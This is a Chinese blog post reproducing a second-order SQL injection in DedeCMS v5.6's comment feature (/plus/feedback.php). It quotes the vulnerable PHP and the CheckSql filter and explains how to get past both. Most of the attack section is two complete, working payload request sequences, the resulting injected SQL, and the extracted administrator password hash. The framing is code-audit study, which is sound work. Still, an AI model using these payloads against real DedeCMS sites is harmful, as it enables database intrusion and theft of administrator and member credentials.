Dedecms 二次注入漏洞复现详解

    如果将利用代码写入数据库,在第二次或者多次调用攻击代码就能绕过过滤执行的注入叫做二次注入。当第一次提交的数据使用了addslashes函数转义,第一次sql为’1\’’,在进入数据库以后保存的数据依然是1',因此假如从数据库再次调出这个数据时,它的单引号是没有被转义的,可以用来闭合第二次语句的单引号,从而触发漏洞。

   作为代码审计中二次攻击的一个经典案例,我们来看著名的dedecms二次注入。其原在seay大神的《代码审计》书里有介绍,但需要更加细致地理解,结合我在复现实验中遇到的一些问题,讨论如下。

   本复现利用dedecms_v5.6-GBK.版本。按照尹先生的说法,该二次注入漏洞最初在2013年发现,织梦官方立即采取措施修复了漏洞,但不够彻底。非专业安全人士修复漏洞都有的通病,不会做漏洞联想,别人指出漏洞在哪里就修哪,与这个漏洞同样利用方式的漏洞,在另外一个文件至今几年过去了还存在。

  按照seay大神的《代码审计》,在dedecms网站根目录/plus/feedback.php文件(评论反馈)下发现二次注入漏洞。打开Seay源代码审计系统,点击dedecms/plus/feedback.php:

 上面这段代码功能是保存用户在文章评论里提交的评论信息,提交到数据库中,用

$arctitle = addslashes($title);

获取文章标题$title,也即用户评论的标题。此处使用了addslashes()函数过滤,过滤了引号等。

inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);

可以看到在第一次保存评论内容时,将$arctitle变量保存到数据库中,使用了addslashes函数过滤了提交参数中单引号等,因为addslashes都是被\转义了的,但是在保存在数据库里时,却还是保存的我们本来提交的数据。目前为止没有引发sql注入。

这段代码作用是将之前保存在数据库中的数据放在新的评论当中。

$row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");
$arctitle = $row['arctitle'];

取出数据库中保存的arctitle数据赋值给$arctitle变量。

$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);

此时再次从数据库里调出该数据$arctitle变量,被再次写入数据库。如果并且不经过任何处理就构成sql语句,那么就会出现二次注入漏洞。

为了构造攻击payload,我们必须注意三点。一是漏洞触发页面的url参数构成,二是绕过系统安全检测,三为输入字段限制。

先看第一点。漏洞触发页即评论页:

http://yourIP/plus/feedback.php,需要接收的url参数一般通过get、post方式,由前端html发送到后端文件如php文件。具体如何接收,主要有$_POST、$GLOBALS ["HTTP_RAW_POST_DATA"]和file_get_contents('php://input')三种方式。我们先检查相关html页面的参数发送,就能在后台pup文件发现其相应接受。

打开第一篇即?aid=1检测html元素,ctrl+f搜索参数aid:

 如我们在后台/plus/feedback.php追踪参数action,一直到 /include/common.inc.php ,发现

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

这就是dede织梦所有参数的接收函数。即通过该函数获得所有url 中的参数,以参数名为变量名,如参数action为变量$action,然后其他程序都直接引用这个变量。

在评论页中,具体有哪些参数变量,我们直接检查页面html就可以了。

于是我们发现,如参数action=send,comtype=comments,isconfirm=yes,再看/plus/feedback.php文件,还有在页面每次输入请求的手工验证码validate,要实现sql插入insert into ,相关插入项包括13项——aid,typeid,username,arctitle,ip,ischeck,dtime,mid,bad,good,ftype,face,msg,其中用户输入显示、可以控制的参数为arctitle(通过title输入),msg。

评论内容msg在网页http://yourIP/plus/feedback.php

 

 title文章标题在http://yourIP/member/article_add.php,

思考一下,评论网页还有没有其他注入漏洞呢?肯定有,我会在其他地方讨论相应参数的攻击注入。

再讨论安全检测。

用户评论的输入,通过$dsql->ExecuteNoneQuery执行,即织梦dede数据库操作类DedeSq的实例化$dsql = $db = new DedeSql的ExecuteNoneQuery方法执行。追踪/include/dedesql.class.php发现其包括安全检测CheckSql:

function CheckSql($db_string,$querytype='select')
{
    //....此处代码省略
    //完整的SQL检查
    while (true)
    {
        $pos = strpos($db_string, '\'', $pos + 1);
        if ($pos === false)
        {
            break;
        }
        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
        while (true)
        {
            $pos1 = strpos($db_string, '\'', $pos + 1);
            $pos2 = strpos($db_string, '\\', $pos + 1);
            if ($pos1 === false)
            {
                break;
            }
            elseif ($pos2 == false || $pos2 > $pos1)
            {
                $pos = $pos1;
                break;
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s$';
        $old_pos = $pos + 1;
    }
    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
    /*这段代码作用就是替换sql语句中两个引号之间的内容为$clean=$s$,下面的代码继续检测有无两个引号之外的注入语句,如果有就不能通过,否则就通过,return $db_string;  */
}

所以构造title,msg的要点是在数据库写入单引号,而二次注入漏洞就是数据库能够执行这些被写入的单引号。

再就是exp不能长于1000字节。这点曾经被许多安全研究者视为鸡肋,意思是难以发挥有效攻击作用。实际上,我们可以采取一些有效方法,可以缩短攻击exp长度。

在此,我们考虑两种方案。

一是尽可能简短的将全部payload放在title,再二次请求使数据库arctitle带单引号,因此触发slq注入。

用双引号引上单引号,使单引号只作为字符串,单引号在绕过注入检测起了重要作用即与代码句后面的单引号闭合,又使之在完整的请求中不能发挥单引号作用,不能实现闭合,从而可以注释掉后面的内容。此处插入了9项内容(注意," ' " 即需要执行与后面单引号闭合的输入单引号,应该算一个字符),包括插入点arctitle前面4项共13项value,成功实现sql语句注入。

我们打开Seay的mysql监控。

第一次请求

action=send&comtype=comments&isconfirm=yes&msg=hhh&aid=1&validate= (手工输入具体页面验证码)
&title=111',"'",1,3,4,5,6,7,8,(select pwd from #@_admin)#

 

 mysql监控sql执行:

INSERT INTO `#@_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES ('1','1','\xD3ο\xCD','111\',\"\'\",1,3,4,5,6,7,8,(select pwd from #@_admin))#','127.0.0.1','1','1609324974', '0','0','0','feedback','0','hhh')

第二次请求,注意fid值要与第一次请求成功的id值相同:

action=send&comtype=reply&fid=1&isconfirm=yes&title=111&validate=验证码

mysql监控sql执行:

INSERT INTO `#@_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES ('1','1','\xD3ο\xCD','111',"'",1,3,4,5,6,7,8,(select pwd from #@_admin))#','127.0.0.1','1','1609325227','0','0','0','feedback','0','hhh')

注入执行显示结果

成功获得用户admin的密码f297a57a5a743894a0e4

第二种方案是两次向数据库中插入payload的不同部分,组合起来就是完整的payload。

第一次请求:

action=send&comtype=comments&isconfirm=yes&msg=hhh&validate=DCRV
&title=111 ',(char(@`'`)),/*

第一个单引号闭合前面,(char(@`'`))同样使单引号只作为字符串,/*将注释第二次插入的部分。

mysql监控sql执行:

INSERT INTO `#@_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES ('1','1','\xD3ο\xCD','111 \',(char(@`\'`)),/*','127.0.0.1','1','1609326020', '0','0','0','feedback','0','hhh')

 第二次请求,为payload第二部分,与第一部分结合完成注释,同样注意(char(@`'`))为一个字符。

action=send&comtype=reply&isconfirm=yes&fid=48&validate=验证码
&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/#@_member/**/limit /**/1))#&title=111

mysql监控sql执行:

INSERT INTO `#@_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES ('1','1','\xD3ο\xCD','111',(char(@`'`)),/*','127.0.0.1','1','1609326752','0','0','0','feedback','0','*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/#@_member/**/limit/**/1))#')

 

 结果显示:

成功得到用户admin及其密码21232f297a57a5a743894a0e4a801fc3。

#@_member表密码32位md5加密,#@_admin减去其12位,前5后7。

 

 

 

 

   

posted on 2020-12-30 23:50  miraitowa666  阅读(2637)  评论(0)    收藏  举报

导航